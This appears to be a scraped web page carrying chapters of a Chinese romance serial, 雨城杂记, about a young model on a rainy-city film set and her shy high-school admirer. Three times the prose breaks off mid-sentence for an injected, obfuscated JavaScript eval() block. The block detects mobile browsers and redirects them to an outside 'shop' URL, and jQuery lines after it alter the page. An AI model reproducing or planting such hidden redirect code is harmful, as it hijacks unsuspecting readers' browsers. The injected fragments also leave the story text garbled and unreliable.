后来,那个看起来永远热烈的名字化作一场甘霖,灌溉了在雨季里唯一干涸的灵魂。
^
折琰是偶然间看见她喜欢这类汽水的。
某天下午放学,他无意间瞥见书念站在饮料柜前犹豫了好久,目光定定地看着货架上新进的汽水。
两个人的磁场靠近,好奇心让他慢下脚步。
如果他能知道她的喜好,是不是就能再靠近她一点点?
结果舒念什么也没拿,径直转身离开。
他有些失望,转头却听见梁听雾在问舒念:“念念你不买波子汽水了吗,你很喜欢的耶。”
舒念左手抓着斜挎包的包带,对梁听雾笑笑:“瓶子好看,但不实用,我零花钱也不算太多,想了想还是算了。”
两人走远,声音逐渐消散,留下折琰在原地,也静静地学着舒念的样子看着那瓶粉色的波子汽水,踌躇片刻,还是将其从冰箱里拿出来。
只是他忘了,别人送水时会顺带留下一张字条,而他却傻到连个名字都没留下,只笨拙地留下仓皇而去的背影。
秋冬季,玻璃瓶却被舒念握出温度,她失神地看了这瓶汽水好久。
原来真的有人在意她在意到想要了解她的每一个喜好。
原来不是每一次的接近都是真心话大冒险输了的惩罚。
^
室内的打光板让汽水泛出淡色光芒,导演看着监视器里的舒念,忍不住大喊:“干嘛呢干嘛呢,能干干不能干就走,摔个玻璃瓶子还犹豫,害怕啊难不成。”
舒念看着汽水,摇头说自己不是害怕,能做好。
她只是在犹豫。
至于在犹豫什么,连她自己都不甚清楚。
也许是在想当年那瓶汽水最终的下落,又或许是别的什么。
导演没说话,沉默地戴上耳机,继续坐在监视器前。
插曲过后,舒念打起精神将这个小镜头完成得不错,拍完后天差不多已经黑尽了,她没等到剧组的免费盒饭,先一步回了家。
回家的公共汽车上,舒念插上耳机听歌,听到一半,手机谈了条短信。
她疑惑是谁找她,摁亮手机屏幕一看,却发现是条推销广告。
也不知道营业厅以几毛钱将她的信息卖出去了,自从换过手机号,垃圾短信总是隔三差五发来。
也对,她的手机本来就是摆设,没人找她也算正常。
舒念摁灭手机,闭眼听歌休息。
可下一秒,耳机里的歌被铃声切断。
电话铃很突兀地响了两声,随后戛然而止,中断的旋律继续往前流转。
舒念有些奇怪,现在这年代骗子都这么猖狂了吗。
她打开手机,未接来电显示是个私人号码,随后,一条同号码的短信闯入她的眼睛。
【你好,我是折琰,刚刚的电话是拨错号码了,很抱歉。另外…可以加你的联系方式吗。】
语气还是一样很生硬,可舒念不会知道,对面的折琰正坐在石阶上握着手机,心脏狂跳。
那个拨错的电话确实是巧合,是他从导演那里存了电话之后,在打给别人时打错了,他本意是发短信道歉,可道歉的话写着写着,就变成了现在这样。
舒念不自觉露出浅笑。
怎么还是和高中一样傻傻的。
她点开微信的好友添加栏将那串号码复制过去,随后申请好友,等着对面的折琰给反应。
另一头,折琰的手机一震。
他没得到回复,舒念用行动告诉他,可以。
折琰有些难以置信地看着联系人那一栏冒出个崭新的数字“1”。
他迅速通过,却并没去看舒念的朋友圈,而是点开聊天框,思索着发些什么。
舒念的头像是片波光粼粼的海,昵称是一串法语。
Pluiedemétéorites
翻译过来是流星雨。
至于朋友圈背景的台北夜景照,他没看见。
与她相反,折琰的头像和名称是简约风,浅灰色头像,昵称是四个字母。
yalo
屏幕那头的舒念看到这个昵称,心里不由得一软,这几个字母是单词缩写,寓意是你的人生只有一次。
她没有开口问备注名,屏幕对面的折琰也僵滞在原地,看着绿色光标不停闪烁,却想不出一句合时宜的话来。
半晌,折琰小心翼翼地发出一个颜文字。
很可爱的类型,他还打了两个字作尾缀:你好。
车上的舒念拔掉耳机线,随后在聊天框里敲下一个emoji
笨拙的两人只用了简短的标点符号,就将原本能无限延伸的话题戛然而止。
车窗外春雨依旧下着,冷风透过车窗缝隙直往人骨髓里钻。
晚上八点,舒念到家。
借住在她家的梁听雾比她早两分钟进门,见舒念兴致不错,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481607|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便开口问:“这是发生什么好事了?看起来心情不错啊。”
舒念淡淡一笑:“没什么,只是他阴差阳错加了我联系方式。”
“谁?折琰吗?”梁听雾疑惑,随后立即反应过来,搭上舒念的肩膀,一副“军师”样子:“你真相信这是阴差阳错啊。”
舒念也不太相信这是无意之举:“我知道不算是阴差阳错,可是这件事真的很巧合。”
话说完,舒念便着急忙慌地放下包,随后钻进卧室不知道要找些什么。
梁听雾跟着她来到卧室门前,倚着门框双手抱胸,开门见山地问:“他给你发什么了?”
提到这,舒念忍不住笑:“一个颜文字。”
接着她又问舒念发的什么,舒念老实巴交地回答:“emoji”
随后将手机打开,点开他俩的聊天界面给她看。
“你俩这把天聊死的功力真是半斤八两…”梁听雾将手机放在客厅茶几,发出难以置信的感叹。
除了梁听雾和父母,舒念手机上就只有工作上的好友,她没必要费心思去了解怎么才能将话题继续下去。
相反,她只需要像个机器一般回复所有信息。简短,干脆,不拖泥带水就是对方最喜欢的态度。
现在忽然多了一个人,她的模式还未来得及转变过来。
“你在这翻什么呢?”
聊天聊了半晌,梁听雾才注意到舒念此刻正在卧室里翻箱倒柜地找什么很重要的东西。
灯光昏暗,舒念将刘海向后撩,尽量让视线清晰一点,听见这话直起腰来:“他那瓶波子汽水,好像就放在卧室的,但我现在找不到了。”
“那就暂时不找吧,找出来也过期了,没办法喝,你俩现在也没走到那一步,找不着出来也无所谓。”
舒念将角角落落全部都翻了一遍,依旧没见踪影,关掉灯心里犯嘀咕。
明明当时自己好好放在床下那个铁盒子里的,往常不需要的时候就一直好端端躺在那,现在需要了就算是开着手机电筒都找不到。
舒念头发乱糟糟的,累了半晌她直起腰来,泄气地叉着腰打量着这间只有几平米的卧室,随后继续两人刚才的话题。
“我也很想能用文字轻松表达出情绪,但太久没和人这样聊过天…”
对现在的她来讲,将自己的喜怒哀乐表达给别人是件很困难的事。
“所以呀,平时可以的话就多发点消息吧。”
“给我也行,给折琰也行,有什么事情也别憋在心里。”
梁听雾站在门边,温声道。
改变。一个她从未想过的词。
“可是我不确定…”
话刚出口,便被梁听雾堵回去。
“你自信一点好不好,人家都主动来找你要联系方式了,还有什么不确定的。”
舒念听完,心里挣扎。
“那我试试看。”
但当晚她看了聊天框好久,却还是不知道该发什么,好像两人之间根本就没有话题。
这么多年,她早就习惯了把心事藏进无人知晓的角落里,现在忽然间要向人敞开心门,茫然无措的感觉一瞬间全涌了上来。
舒念自认为和折琰还没熟悉到那种地步。
万一他只是因为剧组工作原因才加的她好友呢。
万一他根本没有兴趣听她的琐事呢。
那算不算她自作多情。
绿色光标一直闪烁着,舒念盯着泛白的屏幕看了好久,随后还是关掉手机,对着关了灯的天花板发呆。
她好像总在纠结和别人的距离,总是在乎社交时应当恰到好处的分寸,却忘了自己也是个需要被正视情绪的人。
5. 雨城杂记
晚上十一点半,挣扎半天的舒念刚放下手机准备睡觉,手机却不合时宜地响起消息提示音。
眼睛已经适应黑暗环境下的光线,突然受亮白的手机屏刺激,让她一时间无法适应。
将手机亮度调低,她才看清楚屏幕上的字。
刚才没看清时,她下意识以为是折琰,等到看清楚才发现是温玉。
【念念,很抱歉大晚上还来打扰你休息,但是最近这个春装系列一直是你在拍,预热效果也不错,这边合作方临时加了些新样品,你看能不能抽时间来拍一下,酬金双倍。】
对面突然加样,还指定模特,逼得温玉没法,思考良久才大半夜给舒念发消息。
其实她心里也侥幸,万一舒念睡了,万一她没回复,那就可以名正言顺地用自己表妹来拍。
舒念本打算不回复,毕竟模特找谁都可以,但看到双倍工资眼睛一亮,随后迅速回复。
【好的温姐,我明早到。】
没问理由,没问为什么,只是干脆利落地应答,让对面的温玉毫无回旋余地,如鲠在喉,想说的话都不得不咽进肚里。
退出和温玉的聊天框,舒念给郭林山发了信息,对方找统筹看好明天的日程,随后同意她请小半天假。
再到剧组时已经接近下午一点。
错过饭点的舒念打算在路边的便利店里随便买些东西糊弄一顿,谁料刚掀开门帘走进店里,就看见折琰站在收银台旁结账。
买的东西不多,可格外打眼的是昨天那类舒念见过的蓝色棒棒糖。
雨已经停了,窗户玻璃上雾蒙蒙一片,舒念心里犹豫,想上去搭话,却始终编不出半个话头来。
思来想去,她说了句最幼稚的话。
“你…很喜欢吃糖吗。”
话说完,她忽然发现一个很好笑的点。
高中三年,折琰会很上心地去了解她每一个喜好,而她,却将自己圈在小小的围城里,什么都不过问。
表面是什么都不在乎,实际上是将自己包在看似坚硬的外壳里,保护少女时代那点重要却聊胜于无的自尊心。
哪怕她不得不承认,她是很在乎折琰。
但现在的自己都想不明白这份感情,又怎么能让十六七岁的她去想明白。
折琰倒不在乎,笑着解释:“心情不好,想,吃点甜的。现在蛋糕买不起,就买它了。”
“你中午还没吃饭吧,这家店里有种肉松蛋糕很好吃,你如果喜欢,可以试试。”
舒念却没思考蛋糕的问题,开始在意起他的情绪,想用回复工作消息的惯性脱口而出为什么,话到嘴边却脑子一转,换了种问法。
“是遇见什么事了吗。”
折琰听见这话,默默点头。
心里那点苦涩好像也被尽数冲刷。
他将买的矿泉水揣进包里,撕开那颗糖,随后对她点点头:“家里出了点事,我想请假。”
后半句话他没说。
他是这个剧组的场务兼群演,如果请假,随时都可以被换掉,因为剧组从不缺好看的皮囊。
舒念往蛋糕的冷藏柜走,折琰则默不作声陪着他。
她想试试他推荐的肉松蛋糕。
“可是家里的事最重要,我认为还是回去比较好。”
话说完,她才意识到他不回去一定不单单只因为这个。
他是北方人,从雨城到他家,来回的机票得花上千。
就算是坐火车,也不便宜。
“如果是因为钱,我可以借你。”
舒念心里打鼓,心脏疯了般的在胸腔里上窜下跳,像是想蹦出来。
这是她第一次鼓起勇气和他拉近距离。
“家里的事很重要。”
舒念再一次重复。
想起高三那年,奶奶病危,舒念的家里人却固执地认为不该告诉一个即将高考的孩子,冲刺拼搏最后一段时间比什么都重要。
结果晚上回去时,奶奶已经咽气了。
前后不过就几个小时。
那是她生命里的遗憾,而现在她不希望这份遗憾延续在他身上。
不管他是她的什么人,也不管出于什么原因。
现在折琰家里出事,虽然和死亡没有太大联系,可她依旧希望他能早些回去。
“我想你可能很纠结,我也经历过,但我想说,有些时候越快回去真的越好。”
母亲住院,折琰确实很想早点回去,而现在手头拿不出多余的钱,便只能不断地踌躇,犹豫。
便利店冷藏柜前冒着白气,舒念拿了蛋糕,到前台结账。
收银员动作很快,等到舒念结完账,一直犹豫的折琰终于肯点头同意借她的钱。
舒念毫不犹豫地转账过去。
“等我拿到工资,一定马上还你。”
折琰有些不好意思,说话的语气又不自觉切换回了往日那般生硬。
他不想给她留下不好的印象,思来想去,最终用了这句话作回复。
舒念浅淡一笑,说什么时候都可以。
他是单亲家庭,只有母亲一个人,事发突然,借不到钱再正常不过。
说话间两人已经走出便利店,刚才还没下雨的天在此刻又晕开靡靡细雨,将还未晾干的城市再度塞进这潮湿初春。
舒念皱眉望着天,心头有股说不出的烦躁。
今早才洗过头,看着没下雨便将伞放在出租屋里,现在却又下雨,打她个猝不及防。
雨城的雨似乎总没有尽头。
一年下雨的天数竟能达到接近三百天。
闷燥,潮湿,连带着她的心情一起。
舒念很容易被天气影响情绪,难得晴天时,她会破天荒雀跃着买很多零食,下班回家会开心地点开囤了好久的电影。
可一旦天气切回雨天,她的世界也跟云层一起变成铅灰色。
折琰也没带伞,买了票后他还有些时间,便站在便利店外的屋檐下等这场没由头的雨过去。
“心情不好的时候,吃点甜的会好很多。”
折琰见她脸上没什么情绪,以为她是心情不好。
舒念接过糖礼貌道谢。
“我只是觉得这地方雨太多了,想去个有太阳的地方。心情的话…倒也不算太坏。”
折琰听见这话,心里放松下来。
“很正常,我也不喜欢雨天。但是为了工作,为了自己心里那个很可笑的梦想,又不得不留下来。”
“等到我挣钱了,我一定要去有太阳的地方。”
折琰随着她的目光一起望向灰蒙蒙的天,发自内心地表达了平时都掩藏在心里的情绪。
舒念的眼睛里像是闪着星星。
她在心里默念。
一定会的。
哪怕五年,十年。
心头那颗小小的种子总会长成参天大树。
^
折琰买的红眼航班,出发时是晚上,从他位子上看,能看见飞机下绵延成一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481608|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
片的灯火。
飞机上没什么事可做,想睡觉时间又不够,便只能看着水蓝的夜色发呆。
这张机票有一半的钱是舒念贡献,脑子里自然不可磨灭地闪过她的身影。
他想起高中时,身边人给舒念起了个自以为贴切的绰号,冷水薄荷。
似乎她给人的形象总是冷冷的,与人之间像是隔了一堵冰墙,让人能看却无法靠近,又像是瓶冬天里加了冰块的薄荷水,让人不愿意去选择。
后来有人在网上看到冷水薄荷这个新奇的网名,便开始将它用来作为舒念的代称。
至于舒念本人,对此事则无从知晓。
从那时起,折琰心里便有种奇怪的感觉,她并不喜欢这个代称,哪怕她对此并不知情,也不管好听还是不好听。
就像是自己班上的同学出于玩笑经常叫他双火,他表面大大咧咧接受,其实对这名字并不是很喜欢。
他尝试着说过,但无人在意。
机舱里很安静,回忆起件事的折琰心里有些不好过。
他有时会自责地想,如果自己在当时能够多一点勇气,能够不想那么多的话,舒念这种小心翼翼的性格会不会好一些。
她会不会多一点安全感。
可当时的他们都没能迈出那一步,都成了别人眼中可笑的胆小鬼。
到北城时已经凌晨三点,折琰拦了出租,半个小时赶到了医院。
桑玟池已经脱离危险转到了普通病房,见折琰来,有些说不出的情绪写在眼底。
“妈,怎么突然就摔进医院了。”
折琰语气里透着关心,给她倒了杯水,坐在床边的陪护椅上问。
桑玟池行动不便,渴了大半个钟头,如今得到水,一口气将整杯水灌了下去。
“工地上的脚手架塌了,砸了好几个人。”
她是其一。
幸运的是没伤到要害,不幸的事伤了腿,以后很难再上工地干力气活。
“我没事了,工友们都来看过我,倒是你,来回机票两三千,辛苦折腾这一趟了。”
“妈,这是哪里的话,你受伤了,我这个当儿子的肯定要第一时间赶回来。”
“至于钱…我自己会想办法,这个就不劳您费心了。饿了吧,我给你叫个外卖。”
桑玟池摇摇头:“吃过晚饭了,不饿。”
“你辛苦赶过来连口水都没喝,累坏了吧,先歇歇。”
等到折琰喝完水,吃完泡面,桑玟池才开口问他正事。
“你回来的机票钱,是借别人的吧。”
折琰正喝着泡面汤,听见这话,先是愣了一下,随后将泡面桶放在床头柜上,默默点头。
“她人很好,主动借我的,我本来不想接,但是没办法,回来看您需要钱。我还得付一半医药费。”
吃泡面时工地上的工头发来信息,说只付一半医药费,其余的要他们自行承担,否则一分没有。
折琰拗不过,只能咬牙答应。
“我这里还有张卡,先拿去应急吧。存了这么多年,也没想到会在这里派上用场。”
“就八千块钱,也不多,拿到后记得先把钱还给人家。”
折琰乖顺点头,像十几年前依偎在她身边的那个小男孩一样。
不知不觉间天边已泛出鱼肚白,折琰刚睡着,却被手机提示音吵醒。
他有些烦躁,想着不管是谁都得用六十秒语音亲切问候一番,但看见清聊天备注时瞬间哑火。
6. 雨城杂记
折琰赶回北城的当天凌晨,梁听雾也结束了科研项目的实地考察,乘飞机回了自己实验室的所在地。
偌大的雨城里又只剩舒念一人。
今天很闲,剧组基本上没怎么用到她,于是在一群忙碌的人中,她成了最无所适从的那一个,只能安静地待在角落里等着,等需要她的时候。
雨已经完全停了,舒念坐在一旁的苹果箱上,百无聊赖地刷着微博。
她注册微博的时间很早,但直到现在名字和头像都是默认。看着灰扑扑的头像和一长串的默认乱码用户名,她忽然生了起名字的心思。
她点开编辑名字的那一栏,思来想去,最终挑了梁听雾当年无意间提到的名字。
冷太阳。
梁听雾说舒念是冷太阳,只因为性格。
舒念表面虽然不近人情,可一旦有人找她求助,她会毫不犹豫施以援手,像冬天的冷太阳。
虽然没有温度,却仍旧有光亮照亮别人。
她才不是冷水薄荷。
舒念很喜欢这个昵称,将它当了好久的网名,到最后遇见了法语的“流星雨”,才恋恋不舍地换掉。
现在倒有了用武之地。
反正坐着也是无聊,舒念选好头像后退出微博,打开相册翻着。
自己当模特时很喜欢自拍,但基本都存在相册了,不怎么发出去。
朋友圈里都是熟人,她不习惯将自己的自拍照分享出去,久而久之,那些自拍就只能积压在相册里吃灰。
现在微博上除了系统粉丝以外就只剩下她自己。
看着光秃秃的微博,舒念突发奇想,找出了最近的一组日常照,编辑完九宫格后迅速发了出去。
没有文案,文字是默认的“分享图片”
那是她前两天在家戴着耳机拍的,白色的耳机线与浅粉色毛衣意外和谐,加上雨城灰蒙蒙的光线,倒有几分千禧年的味道。
微博发上去后舒念没在意,反正也无人观看,她只把它当做了自己一个人的朋友圈。
^
晚上十一点,舒念依旧在剧组坐着,平常不爱玩手机的她硬生生将手机折腾到只有最后3%的电量。
刺眼亮白的屏幕被关掉,舒念打了个哈欠,犯困地盯着前方。
剧组拍大夜戏,十一点半那场会用到她,此外就是第二天早上七点半那场。期间为了应对被临时拉走补镜头的突发情况,她不能走,也没办法像别的演员一样忙忙碌碌,浅睡一觉后便只能盯着在场无数的设备和人发呆。
次日早上六点半,舒念在苹果箱上坐久了,小腿一阵麻意,站起来想活动一下,风衣斜兜里的糖滚落在地上,吸引她的注意。
奇怪的是,她一个晚上去了几次卫生间,糖都安然无恙地待在包里,偏是这时候落在地上。
她将糖捡起来,撕开包装纸塞进嘴里,随后倚着旁边未被雨水打湿的白墙,掏出手机,用最后的电量给他发了信息。
也不知道为什么,看见糖的一瞬间,她忽然有了找他的冲动,心里乱糟糟的,可就是在提醒自己该这样走。
纯白的聊天框里,绿色光标不断闪烁,舒念心脏像是在胸腔里疯跑。
一秒,两秒。
电量跳到2%
她看着两人少到可怜的聊天记录,还在挣扎,徘徊,手指在键盘上游移,耳边在此刻只剩下了风声呼啸的声音。
二十六键的键盘,在她眼里却成了烫手山芋,她怕自己斟酌不明白,怕自己弄巧成拙,亲手戳破好不容易鼓起来的勇气。
两分钟过去。
手机电量只剩下最后1%
舒念握着手机的手已经沁出一层冷汗。
人在越焦急的情况下越没办法集中精力思考,在手机关机前的最后五秒,聊天框里终于出现了一串绿底黑字的信息。
消息转了两下圈圈,弹出去的同时,手机关机,彻底沉默在舒念回家的前一个小时。
^
【家里的情况怎么样,一切都还好吗】
看到这条消息,折琰很意外。
在他印象里,她不像是会主动的人,短短十几个字,折琰仿佛能看到屏目那头她握着手机挣扎的样子。
既然这是她鼓起勇气的结果,那他也应当向前再迈一步。
折琰困意全无,在聊天框里打了又删,斟酌之下也只留了一句不长不短的话。
【一切都好,剧组这几天很忙吗,连带你也起这么早。】
消息发完,正对窗户的折琰无意间看到天边已经泛起鱼肚白,手里的手机早就被他握出温度。
天际渐渐发亮,病房里静悄悄的,折琰的心跳声在这寂静里传入耳膜,格外清晰。
半个小时过去,手机却依旧一点动静都没有。
折琰一开始乱跳的心脏也逐渐平静下来,再等了几分钟,见手机还是没动静,他便将手机放在床头柜上充电,起身提着水壶去给桑玟池打水。
那一瞬间,心里飘了无数稀奇古怪的想法。
^
舒念讨厌今天的开头。
先是手机关机没办法接收到折琰的消息,再是早上六点半这场戏临时被换到了明天晚上,意味着她这一夜白熬。
不过最令她烦躁的,是回家路上偏巧下了整夜都不曾下过的雨,雨将没有雨伞的自己淋成了落汤鸡,好不容易到车站,还错过了最近一班的公共汽车。
好像所有不幸的事都在刚开头的今天一瞬间涌了上来。
有那么一瞬间,舒念真的觉得自己像是倒霉熊附体,不顺到了极点。
早上八点,她拖着潮湿又疲惫的身体打开出租屋的门,给手机充上电后把自己关进浴室里,好好洗了个澡才出来。
手机电量逐渐恢复,舒念顾不得头上还裹着干发帽,有些着急地将手机开机。
手机有些年头了,像台负荷运转的机器,加载半天也还是开机前的手机品牌logo在黑色背景前转圈圈。
头发丝的水已经□□发帽吸去大半,舒念心里着急,将干发帽往旁边的小凳子上一扔,揉了两把头发,继续着急地等开机。
两分钟过去,手机才慢吞吞地弹出锁屏界面,舒念将手机解锁后立刻点进微信。
手机卡顿片刻,最后弹出一条消息,折琰的头像被顶到最上方。
舒念打了一长串字解释,屏幕那头的折琰第一次直接感受到她的分享欲。
【抱歉我现在手机才开机。给你发完消息后手机就没电了,在剧组熬了一整个大夜却发现最后通知用不上我,又淋了雨,真是糟糕透了。】
一股脑倾诉完自己的遭遇,舒念盯着丰满起来的绿色方框,忽然开始反问起自己的分享欲是不是就合时宜。
会不会打扰到他?
会不会很吵,吵到他的眼睛?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481609|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>可消息发出去的那一瞬,折琰的回复几乎在同时弹了出来。
舒念脑子里的念头落地。
【那恭喜你今天得到了能好好休息的假期。现在洗完澡能舒舒服服的躺在床上,听着外面的雨声沉沉睡一觉,也不算是件坏事。】
雨城也不总是坏天气。舒念心想。
好像因为有他在,一年能长达三百天的雨也变得不那么难熬了。
这一刻舒念忽然间明白,她的敏感并不是空穴来风,只是对这个世界有不同的看法,她需要人站在自己对立面去思考相同的问题,得到完全不同的答案。,将她往不同的方向引导。
想到这,她忽然安下心来,想再发消息和他多聊会儿,想问他什么时候回来,手指在手机键盘上刚敲下几个字,折琰便又发了一条消息。
【既然很累,就先睡一觉吧,我也不打扰你了】
消息后面是他一贯的风格,一个稀奇古怪的颜文字。
看起来很呆,但放在他这里,也算可爱。
她看完,嘴角挂着浅淡的笑意。
舒念也正打算去吹头发,便没再开口问他什么时候回来,关掉手机起身去吹已经被风弄到半干的头发。
一觉睡醒已经下午,天色罕见地变为昏黄,舒念睡醒后将窗帘拉开,临近黄昏的悲凉感忽然间涌上心头。
可比这感觉先来的,是梁听雾那晚对她说的话。
要多和人联系,尽量变得开朗一点,主动一点,这样有什么情绪也不会闷在心里过久,让自己变成一个敏感到极致的人。
看了眼窗外昏黄的雨幕,舒念三两步踱回床头柜上拿手机,随后给梁听雾弹了个视频。
一千公里外,江州。
生物工程实验室里,梁听雾刚换下身上的无菌操作服,出来刚摸到手机,就接到电话。
看清来人头像时,梁听雾心里有些意外。
除非是很紧急的事,舒念一般不会主动找她聊天,更别说这样突然的视频电话。
她眼睛一亮,捋了两把刘海后接通视频,一边说话一边往大楼外走。
“怎么忽然想起来慰问我这个‘孤寡老人’啦。”
舒念笑笑,随后道明原由:“我…一觉睡醒就到现在了,感觉心里空落落的,心情不是很好,就想着找你聊聊天。”
她就是这样,情绪的事,好像自己做不了主,她很想高兴,可在阴雨连绵的城市里却是件难事。
梁听雾正巧走出大门,蓝紫色晚霞染在天边,俨然一副蓝调时刻的模样。
“那我给你看我这里的天,你看,很好看吧,都是蓝紫色。”
舒念看着晴天的晚霞,忍不住心生艳羡。
“真好。你看我们这里,已经下了一天雨了。”舒念切换手机镜头,将窗外昏黄的雨幕对准梁听雾。
梁听雾叫好车,在路边等车来,看见手机里黄澄澄的一片,笑着打趣:“你是喜欢太阳的人,反正现在也不用被工作室捆着了,要不搬到江州来,我们一起享受太阳?”
如果是以前,舒念等剧组忙完后会毫不犹豫地搬去江州找她,可现在她只是轻轻摇摇头。
“如果是前段时间,我会毫不犹豫过来。”
“但现在…雨城对我来讲也不算太坏。”
梁听雾做了一天实验,脑子一时间没转过来,傻傻地问舒念:“为啥?”
电话那头沉默片刻。
7. 雨城杂记
因为雨城有她在乎的人。
话说完梁听雾才反应过来,随后笑嘻嘻地跟舒念讲这样也挺好,至少会让原本枯燥的生活有个调味剂。
舒念没再聊这个,转而关心起梁听雾的近况。
“实习的机构怎么样,老板有没有为难你,和同事相处的还好吗?”
梁听雾和舒念同年生,只是梁听雾生在上半年,上学又比别人都早,于是在舒念本该上大三的二十岁,梁听雾已经进了机构实习。
车到路边,梁听雾拉开车门,上车后一边关门一边回:“都很好,老板也没有为难我。”
舒念听完,满意地点点头。
两人又寒暄几句,随后挂断电话。
刚挂完电话,梁听雾就知道说自己老板还不错的这句话说早了。
对方一个电话让她紧急掉头,重新回了实验室处理手上的实验项目。
再出来,已经十点半了。
这里很偏,出租车几乎从不经过,梁听雾在心里问候了上司一番,烦躁地摸出手机准备打车,谁想屋漏偏逢连夜雨,好多司机一见这单离市区有几十公里远,直接拒掉了。
迟疑片刻,梁听雾打算最后再试一次,实在打不到车就在实验室过一夜。
幸运的是,没多久就打到车了。
不幸的是,她打的是拼车。
这黑灯瞎火的,多想在所难免,梁听雾有些焦急地等着。
至于和她打到同一辆车的人,她打死也不会想到会是方硕。
那个她早有耳闻,却只匆匆见过一面的名字。
于是像偶像剧里的一幕竟离谱地发生在了她身上:大半夜地,和不怎么熟悉的校友打到了同一辆车。
车里没开灯,方硕坐在后排靠里面,手机亮白的光打在他那张轮廓分明的脸上,让梁听雾一时间有些走神。
迟疑片刻,她才拉开车门上车。
起初司机见两人沉默,便主动挑话题聊起天来。
结果尴尬的是两人都默契地没说话。
司机看了眼后视镜,打着方向盘转过急弯后才小声嘟囔:“这么默契,不知道的还以为你认识,商量好的打一辆车呢.”
梁听雾依旧没说话,倒是方硕,看了眼司机后接过茬:“你怎么知道不认识。”
她有些疑惑地蹙眉,随后明白过来,也默认了,没再说话。
是啊,就算是没见过几面,认识也早该知晓彼此的存在了,毕竟当年两人都是高中部出了名的疯子。
一个文转理,一个理转文。
按常理来讲,愿意学理的应该是男孩子,可两人似乎是这大流里截然相反的存在。高三那年的国庆节刚过,梁听雾就瞒着家里所有人转了班。
她从小就喜欢与一切逻辑性强的事务打交道,是你给她讲日照香炉生紫烟,她能说这是丁达尔效应的存在。
可高二那年,家里人强制性让她选文,一众亲戚朋友给她做思想工作。
"女孩学不动理科的,到了后面就跟不上了。学理科是自讨苦吃,学文轻松。"
"女孩学文,以后考个师范,出来稳稳当当地找个人嫁了,这才是你父母的乖女儿。”
梁听雾被吵烦了,反正文理她都能学得很好,也就一时妥协,在发下来的选科表上填了文科。
可读着读着,她发现这不是她想要的。
她喜欢文字,可她更喜欢那些排列整齐,逻辑严密的化学方程式;比起奋笔疾书写一道历史材料题,她更愿意花上整节自习课去思考一道圆锥曲线怎么解。
别人替她做的选择,早就背离了她原本的意愿。
在文科班坚持了小半年,眼见着离高考越来越近,梁听雾才悄然无声地反抗。
从那一刻起她就发誓,她要去很远的地方,她要考离家很远的大学,她要将命运的绳索紧紧捏在自己手里。
方硕则是另一个极端。
高二选科时,家里人没过问他的意愿,直接替他做了决定。
男孩子学什么文,学理出来当个医生多好。
方硕不愿意,绝食大闹三天,最终却还是被一句不学理就别读杀个片甲不留,迫于压力填了理科。
于是高三那年,海宁二中出了两个转班的疯子。
年纪上包括舒念在内的人都知道这是何其冒险的决定,两人很自然地成了别人茶余饭后的谈资。
梁听雾频繁听见方硕这个名字,也是从那个时候开始。
她的第一印象,是三班出了个和自己一样的疯子。
可后来的高考成绩证明了两人的选择是正确的。
车子逐渐向市区驶去,夜里车速极快,只剩下汽车发动机的声音。梁听雾讨厌冷场,于是在路程后半段想主动说些什么,思索半天,却找不到适合的话题。
毕竟跟他不熟,如果话题生硬到让人尴尬,那还不如就这样冷场。
想说话的心思就这样渐渐熄灭。
车很快到了方硕定位的目的地,梁听雾看见他在江州新城下车,很快便明白了今天这出离谱的偶遇是怎么回事。
江州市郊区,她实验室附近,也有一个江州新城,是同一家公司开发的建筑项目。只不过前者是个前些年就存在的老小区,而后者是最近才动工的新楼盘,属于二期项目。
而二期项目未完工,开发商也就没着急加个一期二期来区别开。
于是方硕第一天来这里,就毫不例外地干了每个最近新来的江州人都干过的事。
定错打车定位。
车子很快开走,逐渐将小区甩在身后。
梁听雾很快也到家,脑海里却仍旧思考着有些莫名其妙的问题。
他为什么会来这里。
^
方硕下车后立刻改了定位,随后立刻发了个朋友圈吐槽。
【第一天到来,然后…】
配图是导航上两个一模一样的名字。
如果此刻梁听雾能看到这条朋友圈,肯定会毫不掩饰地笑出声,因为去年下半年她刚来江州的时候,也发过一条同样的朋友圈。
发完朋友圈吐槽完糟心的搬家第一天后,方硕从随身包里拿出电脑,刚打开网站,就收到了自己编辑的催更信息。
v文断更两个月了,被催也正常。
他胡乱揉了揉头发,打开wps准备今晚开始补之前欠下的更新,可刚起笔就停下了。
电话铃声在冷寂的初春夜里极为刺耳。
方硕不用看都知道是谁打来的,烦躁地挂断,刚想关机,电话却再度振动起来。
他一边盯着电脑上的空白文档,一边对着电话烦躁
